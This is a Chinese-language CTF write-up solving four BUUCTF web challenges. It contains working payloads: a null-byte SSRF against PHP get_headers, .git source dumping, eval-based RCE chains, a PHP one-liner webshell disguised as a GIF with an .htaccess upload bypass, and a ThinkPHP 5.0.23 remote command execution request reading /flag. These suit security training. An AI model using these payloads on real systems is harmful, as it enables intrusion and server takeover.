buu web 37-40 writeup
目录
[GKCTF2020]cve版签到
题目:
解题过程:
打开题目之后,界面如下
点击view ctfhub 界面跳转,注意url变成了
http://28fdd27c-a54e-4b76-a082-628042a20805.node3.buuoj.cn/?url=http://www.ctfhub.com
漏洞详情:
PHP(PHP:Hypertext Preprocessor,PHP:超文本预处理器)是PHPGroup和开放源代码社区的共同维护的一种开源的通用计算机脚本语言。该语言主要用于Web开发,支持多种数据库及操作系统。 PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()’函数存在安全漏洞。攻击者可利用该漏洞造成信息泄露。
可以知道 PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()’函数存在安全漏洞,通过%00截断可以访问本地主机。
试一下
?url=http://127.0.0.1%00.ctfhub.com
提示host以123结尾
payload:
?url=http://127.0.0.123%00.ctfhub.com
得到flag
[GXYCTF2019]禁止套娃
题目:
解题过程:
本题是.git源码泄露,需要下载GitHack-master,py脚本跑一下才得到后端源码
得源码步骤:
首先电脑上要有python2.x的环境,然后去github传送门下载相应的文件,在下载好的GitHack-master文件夹内按住shift键,同时鼠标右键点击空白处,点击在此处打开命令窗口,输入命令
python GitHack.py http://8c23e055-0375-4f0b-bb6a-52ee19194263.node3.buuoj.cn/.git/
得到的源码会留在工具所在的文件夹内
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
看到eval猜测是命令执行,但是要经过三层防护
第一层:对data://,filter://,php://,phar:// 这几个常见的伪协议进行过滤;
第二层:'/[a-z,_]+\((?R)?\)/',?R表示引用当前表达式,所以形如a(b();)是合法的
第三层:过滤一些关键词
相关函数:
1.localeconv() 函数
2.scandir()函数
3.current()函数
4.pos()函数
5.array_reverse()函数
相关本地实践
<?php
$buu = array("heel","world","huya","doyu");
echo current($buu);
echo "\n";
echo next($buu);
echo "\n";
echo next($buu);
?>
---------- php5.69 ----------
heel
world
huyaArray
(
[0] => doyu
[1] => huya
[2] => world
[3] => heel
)
输出完成 (耗时 0 秒) - 正常终止
首先,查看文件目录
?exp=print_r(scandir(current(localeconv())));
或者
?exp=print_r(scandir(pos(localeconv())));
查看第三个文件flag.php,payload如下:
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
或者
?exp=show_source(next(array_reverse(scandir(current(localeconv())))));
[GXYCTF2019]BabyUpload
题目:
解题过程
打开题目
试了试几个文件,
首先正常的一句话木马,后缀名不能有ph!
试了试,发现过滤了txt,png等格式,所以用jpg图片马,正常的一句话木马
GIF89a?
<?php eval($_POST['cmd']);?>
回显:诶,别蒙我啊,这标志明显还是php啊
。。。嘶 可能是过滤了<?php 所以用下面的代码进行代替
GIF89a?
<script language="php">eval($_POST['cmd']);</script>
上传成功后,利用上次SUCTF的经验,因为是apache,尝试上传.htaccess
SetHandler application/x-httpd-php
注意抓包,将content-type的值改为image/jpeg ,这样才能上传成功。
然后蚁剑连接,flag在根目录。
[BJDCTF 2nd]old-hack
题目:
解题过程
根据题目信心,猜测是thinkphp5的漏洞。
首先确定版本
传入一个s=1使之报错,然后查看版本信息,得到thinkphp的版本是5.0.23
上网查一下thinkphp5.0.23版本的漏洞,传送门
找到漏洞利用方法
POST传值: _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
首先,看一下根目录文件有哪些(因为做题经验,flag一般在根目录)
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls /
payload:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag
相关资料: